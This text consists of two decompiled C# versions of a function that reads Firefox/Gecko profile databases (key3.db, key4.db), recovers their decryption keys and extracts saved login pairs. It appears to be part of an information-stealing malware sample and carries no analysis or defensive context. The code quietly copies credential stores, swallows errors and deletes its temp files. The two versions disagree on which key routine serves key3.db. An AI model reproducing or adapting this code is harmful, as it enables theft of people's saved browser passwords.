// Token: 0x060002C7 RID: 711 RVA: 0x0000C99C File Offset: 0x0000AB9C private static List <LoginPair> GetCredentials(string profile) { List <LoginPair> list = new List <LoginPair>(); try { if (File.Exists(Path.Combine(profile, "key3.db"))) { bool flag; string text = DecryptHelper.TryCreateTemp(Path.Combine(profile, "key3.db"), out flag); list.AddRange(GeckoEngine.ParseLogins(profile, GeckoEngine.GetPrivate4Key(text))); if (flag) { File.Delete(text); } } if (File.Exists(Path.Combine(profile, "key4.db"))) { bool flag2; string text2 = DecryptHelper.TryCreateTemp(Path.Combine(profile, "key4.db"), out flag2); list.AddRange(GeckoEngine.ParseLogins(profile, GeckoEngine.GetPrivate4Key(text2))); if (flag2) { File.Delete(text2); } } } catch (Exception) { } return(list); }
private static List <LoginPair> GetCredentials(string profile) { List <LoginPair> loginPairList = new List <LoginPair>(); try { if (File.Exists(Path.Combine(profile, "key3.db"))) { loginPairList.AddRange((IEnumerable <LoginPair>)GeckoEngine.ParseLogins(profile, GeckoEngine.GetPrivate3Key(DecryptHelper.CreateTempCopy(Path.Combine(profile, "key3.db"))))); } if (File.Exists(Path.Combine(profile, "key4.db"))) { loginPairList.AddRange((IEnumerable <LoginPair>)GeckoEngine.ParseLogins(profile, GeckoEngine.GetPrivate4Key(DecryptHelper.CreateTempCopy(Path.Combine(profile, "key4.db"))))); } } catch { } return(loginPairList); }